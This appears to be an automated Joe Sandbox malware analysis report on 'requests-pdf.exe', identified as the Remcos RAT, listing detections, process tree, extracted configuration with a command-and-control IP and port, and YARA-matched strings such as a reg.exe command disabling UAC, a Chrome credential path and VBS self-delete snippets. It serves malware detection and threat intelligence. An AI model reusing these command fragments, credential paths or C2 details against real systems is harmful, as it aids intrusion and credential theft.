Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
requests-pdf.exe

Overview

General Information

Sample name:requests-pdf.exe
Analysis ID:1575101
MD5:36c9bb380d71f7ad243b57c522fc2768
SHA1:ef2eb660d985bfb693fcdb5b81c3ccffb9763646
SHA256:0e184edac45ddeaf7ca4681b65e7b4accafb6705032faf6d2f6a61d2ef6d1ded
Tags:exeRATRemcosRATuser-abuse_ch
Infos:

Detection

Remcos
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Detected unpacking (changes PE section rights)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Creates autostart registry keys with suspicious names
Delayed program exit found
Machine Learning detection for sample
AV process strings found (often used to terminate AV products)
Checks if the current process is being debugged
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evaded block containing many API calls
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
Sigma detected: CurrentVersion Autorun Keys Modification
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Yara detected Keylogger Generic
Yara signature match

Classification

Process Tree

  • System is w10x64
  • requests-pdf.exe (PID: 7268 cmdline: "C:\Users\user\Desktop\requests-pdf.exe" MD5: 36C9BB380D71F7AD243B57C522FC2768)
    • WerFault.exe (PID: 7412 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7268 -s 924 MD5: C31336C1EFC2CCB44B4326EA793040F2)
    • WerFault.exe (PID: 7492 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7268 -s 1080 MD5: C31336C1EFC2CCB44B4326EA793040F2)
    • WerFault.exe (PID: 7548 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7268 -s 1084 MD5: C31336C1EFC2CCB44B4326EA793040F2)
    • WerFault.exe (PID: 7600 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7268 -s 1104 MD5: C31336C1EFC2CCB44B4326EA793040F2)
    • WerFault.exe (PID: 7696 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7268 -s 1144 MD5: C31336C1EFC2CCB44B4326EA793040F2)
    • WerFault.exe (PID: 7748 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7268 -s 1152 MD5: C31336C1EFC2CCB44B4326EA793040F2)
    • yavascript.exe (PID: 7780 cmdline: "C:\Users\user\AppData\Roaming\xenor\yavascript.exe" MD5: 36C9BB380D71F7AD243B57C522FC2768)
      • WerFault.exe (PID: 7968 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7780 -s 632 MD5: C31336C1EFC2CCB44B4326EA793040F2)
      • WerFault.exe (PID: 8032 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7780 -s 652 MD5: C31336C1EFC2CCB44B4326EA793040F2)
      • WerFault.exe (PID: 8108 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7780 -s 720 MD5: C31336C1EFC2CCB44B4326EA793040F2)
      • WerFault.exe (PID: 2228 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7780 -s 724 MD5: C31336C1EFC2CCB44B4326EA793040F2)
      • WerFault.exe (PID: 2316 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7780 -s 720 MD5: C31336C1EFC2CCB44B4326EA793040F2)
      • WerFault.exe (PID: 2860 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7780 -s 916 MD5: C31336C1EFC2CCB44B4326EA793040F2)
      • WerFault.exe (PID: 3116 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7780 -s 928 MD5: C31336C1EFC2CCB44B4326EA793040F2)
      • WerFault.exe (PID: 6448 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7780 -s 968 MD5: C31336C1EFC2CCB44B4326EA793040F2)
    • WerFault.exe (PID: 7816 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7268 -s 1308 MD5: C31336C1EFC2CCB44B4326EA793040F2)
  • yavascript.exe (PID: 8172 cmdline: "C:\Users\user\AppData\Roaming\xenor\yavascript.exe" MD5: 36C9BB380D71F7AD243B57C522FC2768)
    • WerFault.exe (PID: 1276 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 8172 -s 532 MD5: C31336C1EFC2CCB44B4326EA793040F2)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Remcos, RemcosRATRemcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.
  • APT33
  • The Gorgon Group
  • UAC-0050
https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Malware Configuration

Threatname: Remcos

{"Host:Port:Password": ["198.23.227.212:32583:1"], "Assigned name": "Yavakosa", "Connect interval": "1", "Install flag": "Enable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Disable", "Install path": "AppData", "Copy file": "yavascript.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-I7G983", "Keylog flag": "0", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "xenor", "Keylog folder": "remcos"}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000019.00000002.2407775443.0000000000B40000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
    0000000F.00000002.4542305582.0000000000AFD000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
      00000019.00000002.2407748193.0000000000AFC000.00000040.00000020.00020000.00000000.sdmpWindows_Trojan_RedLineStealer_ed346e4cunknownunknown
      • 0x1080:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
      00000000.00000002.2432647777.0000000000A98000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
        0000000F.00000002.4542269098.0000000000AB8000.00000040.00000020.00020000.00000000.sdmpWindows_Trojan_RedLineStealer_ed346e4cunknownunknown
        • 0x1760:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
        Click to see the 64 entries

        Unpacked PEs

        SourceRuleDescriptionAuthorStrings
        15.2.yavascript.exe.400000.0.raw.unpackJoeSecurity_Keylogger_GenericYara detected Keylogger GenericJoe Security
          15.2.yavascript.exe.400000.0.raw.unpackJoeSecurity_RemcosYara detected Remcos RATJoe Security
            15.2.yavascript.exe.400000.0.raw.unpackJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
              15.2.yavascript.exe.400000.0.raw.unpackWindows_Trojan_Remcos_b296e965unknownunknown
              • 0x6b6f8:$a1: Remcos restarted by watchdog!
              • 0x6bc70:$a3: %02i:%02i:%02i:%03i
              15.2.yavascript.exe.400000.0.raw.unpackREMCOS_RAT_variantsunknownunknown
              • 0x65994:$str_a1: C:\Windows\System32\cmd.exe
              • 0x65910:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
              • 0x65910:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
              • 0x65e10:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data
              • 0x66410:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)
              • 0x65a04:$str_b2: Executing file:
              • 0x6683c:$str_b3: GetDirectListeningPort
              • 0x66200:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject")
              • 0x66380:$str_b7: \update.vbs
              • 0x65a2c:$str_b9: Downloaded file:
              • 0x65a18:$str_b10: Downloading file:
              • 0x65abc:$str_b12: Failed to upload file:
              • 0x66804:$str_b13: StartForward
              • 0x66824:$str_b14: StopForward
              • 0x662d8:$str_b15: fso.DeleteFile "
              • 0x6626c:$str_b16: On Error Resume Next
              • 0x66308:$str_b17: fso.DeleteFolder "
              • 0x65aac:$str_b18: Uploaded file:
              • 0x65a6c:$str_b19: Unable to delete:
              • 0x662a0:$str_b20: while fso.FileExists("
              • 0x65f49:$str_c0: [Firefox StoredLogins not found]
              Click to see the 103 entries

              Sigma Signatures

              System Summary

              barindex
              Sigma detected: CurrentVersion Autorun Keys Modification
              Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\AppData\Roaming\xenor\yavascript.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\requests-pdf.exe, ProcessId: 7268, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Rmc-I7G983

              Stealing of Sensitive Information

              barindex
              Sigma detected: Remcos
              Source: Registry Key setAuthor: Joe Security: Data: Details: 1E 04 D2 DB 3F 0C FE F3 82 62 77 23 55 F6 79 B1 49 36 B8 E5 8D 32 CC 27 A6 CB 6E 6A 89 1A 19 B0 B4 53 8A 49 77 14 FC 00 27 A6 E3 34 C0 ED 34 E0 0A 9D 0A D1 26 0E C1 90 99 15 44 75 A2 34 05 C5 6E C4 62 5A AD 89 35 B2 F0 68 B4 0C E0 47 A0 30 FD 73 49 70 34 DF 76 DA 6B E1 47 5F 61 46 AA 13 DB 71 55 89 7B 9B 50 50 84 E0 , EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Roaming\xenor\yavascript.exe, ProcessId: 7780, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Rmc-I7G983\exepath

              Suricata Signatures

              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
              2024-12-14T13:38:14.855198+010020365941Malware Command and Control Activity Detected192.168.2.549705198.23.227.21232583TCP
              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
              2024-12-14T13:38:24.381407+010028033043Unknown Traffic192.168.2.549714178.237.33.5080TCP

              Joe Sandbox Signatures

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Antivirus / Scanner detection for submitted sample
              Source: requests-pdf.exeAvira: detected
              Found malware configuration
              Source: 0000000F.00000002.4542305582.0000000000AFD000.00000004.00000020.00020000.00000000.sdmpMalware Configuration Extractor: Remcos {"Host:Port:Password": ["198.23.227.212:32583:1"], "Assigned name": "Yavakosa", "Connect interval": "1", "Install flag": "Enable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Disable", "Install path": "AppData", "Copy file": "yavascript.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-I7G983", "Keylog flag": "0", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "xenor", "Keylog folder": "remcos"}
              Multi AV Scanner detection for dropped file
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeReversingLabs: Detection: 55%
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeVirustotal: Detection: 50%Perma Link
              Multi AV Scanner detection for submitted file
              Source: requests-pdf.exeReversingLabs: Detection: 55%
              Source: requests-pdf.exeVirustotal: Detection: 50%Perma Link
              Yara detected Remcos RAT
              Source: Yara matchFile source: 15.2.yavascript.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.2.yavascript.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.2.requests-pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.3.requests-pdf.exe.25a0000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.3.requests-pdf.exe.25a0000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.2.requests-pdf.exe.24d0e67.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.2.yavascript.exe.24f0e67.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.2.requests-pdf.exe.24d0e67.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.2.yavascript.exe.24e0e67.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.2.yavascript.exe.24f0e67.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.2.yavascript.exe.24e0e67.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.2.yavascript.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.3.yavascript.exe.2570000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.2.yavascript.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.3.yavascript.exe.2560000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.2.requests-pdf.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.3.yavascript.exe.2560000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.3.yavascript.exe.2570000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000019.00000002.2407775443.0000000000B40000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.4542305582.0000000000AFD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000002.2432647777.0000000000A98000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000019.00000002.2407819999.00000000024E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000019.00000003.2221778129.0000000002560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000003.2083308143.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.4542513379.00000000024F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.4541869056.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000003.2162840735.0000000002570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000019.00000002.2407471164.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: requests-pdf.exe PID: 7268, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: yavascript.exe PID: 7780, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: yavascript.exe PID: 8172, type: MEMORYSTR
              AI detected suspicious sample
              Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
              Machine Learning detection for sample
              Source: requests-pdf.exeJoe Sandbox ML: detected
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0043293A CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,0_2_0043293A
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_02502BA1 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,0_2_02502BA1
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0043293A CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,15_2_0043293A
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_02522BA1 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,15_2_02522BA1
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0043293A CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,25_2_0043293A
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_02512BA1 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,25_2_02512BA1
              Source: requests-pdf.exeBinary or memory string: -----BEGIN PUBLIC KEY-----

              Exploits

              barindex
              Yara detected UAC Bypass using CMSTP
              Source: Yara matchFile source: 15.2.yavascript.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.2.yavascript.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.2.requests-pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.3.requests-pdf.exe.25a0000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.3.requests-pdf.exe.25a0000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.2.requests-pdf.exe.24d0e67.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.2.yavascript.exe.24f0e67.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.2.requests-pdf.exe.24d0e67.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.2.yavascript.exe.24e0e67.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.2.yavascript.exe.24f0e67.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.2.yavascript.exe.24e0e67.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.2.yavascript.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.3.yavascript.exe.2570000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.2.yavascript.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.3.yavascript.exe.2560000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0.2.requests-pdf.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 25.3.yavascript.exe.2560000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.3.yavascript.exe.2570000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000019.00000002.2407819999.00000000024E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000019.00000003.2221778129.0000000002560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000003.2083308143.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.4542513379.00000000024F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.4541869056.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000003.2162840735.0000000002570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000019.00000002.2407471164.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: requests-pdf.exe PID: 7268, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: yavascript.exe PID: 7780, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: yavascript.exe PID: 8172, type: MEMORYSTR

              Privilege Escalation

              barindex
              Contains functionality to bypass UAC (CMSTPLUA)
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00406764 _wcslen,CoGetObject,0_2_00406764
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_00406764 _wcslen,CoGetObject,15_2_00406764
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_00406764 _wcslen,CoGetObject,25_2_00406764
              Source: requests-pdf.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
              Source: C:\Users\user\Desktop\requests-pdf.exeFile opened: C:\Windows\SysWOW64\msvcr100.dllJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0040B335 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,0_2_0040B335
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0041B42F FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,FindClose,RemoveDirectoryW,GetLastError,FindClose,0_2_0041B42F
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0040B53A FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,0_2_0040B53A
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0044D5E9 FindFirstFileExA,0_2_0044D5E9
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_004089A9 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,__CxxThrowException@8,0_2_004089A9
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00406AC2 FindFirstFileW,FindNextFileW,0_2_00406AC2
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00407A8C __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,__CxxThrowException@8,0_2_00407A8C
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00418C69 FindFirstFileW,FindNextFileW,FindNextFileW,0_2_00418C69
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00408DA7 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,0_2_00408DA7
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_024D900E __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,0_2_024D900E
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_024EB696 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,FindClose,RemoveDirectoryW,GetLastError,FindClose,0_2_024EB696
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_024DB59C FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,0_2_024DB59C
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0251D850 FindFirstFileExA,0_2_0251D850
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_024E8ED0 FindFirstFileW,0_2_024E8ED0
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_024D7CF3 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,__CxxThrowException@8,0_2_024D7CF3
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_024D6D29 FindFirstFileW,FindNextFileW,0_2_024D6D29
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0040B335 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,15_2_0040B335
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0041B42F FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,FindClose,RemoveDirectoryW,GetLastError,FindClose,15_2_0041B42F
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0040B53A FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,15_2_0040B53A
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0044D5E9 FindFirstFileExA,15_2_0044D5E9
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_004089A9 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,__CxxThrowException@8,15_2_004089A9
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_00406AC2 FindFirstFileW,FindNextFileW,15_2_00406AC2
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_00407A8C __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,__CxxThrowException@8,15_2_00407A8C
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_00418C69 FindFirstFileW,FindNextFileW,FindNextFileW,15_2_00418C69
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_00408DA7 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,15_2_00408DA7
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_024F900E __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,15_2_024F900E
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0250B696 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,FindClose,RemoveDirectoryW,GetLastError,FindClose,15_2_0250B696
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_024FB59C FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,15_2_024FB59C
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0253D850 FindFirstFileExA,15_2_0253D850
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_02508ED0 FindFirstFileW,15_2_02508ED0
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_024F7CF3 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,__CxxThrowException@8,15_2_024F7CF3
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_024F6D29 FindFirstFileW,FindNextFileW,15_2_024F6D29
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0040B335 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,25_2_0040B335
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0041B42F FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,FindClose,RemoveDirectoryW,GetLastError,FindClose,25_2_0041B42F
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0040B53A FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,25_2_0040B53A
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0044D5E9 FindFirstFileExA,25_2_0044D5E9
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_004089A9 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,__CxxThrowException@8,25_2_004089A9
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_00406AC2 FindFirstFileW,FindNextFileW,25_2_00406AC2
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_00407A8C __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,__CxxThrowException@8,25_2_00407A8C
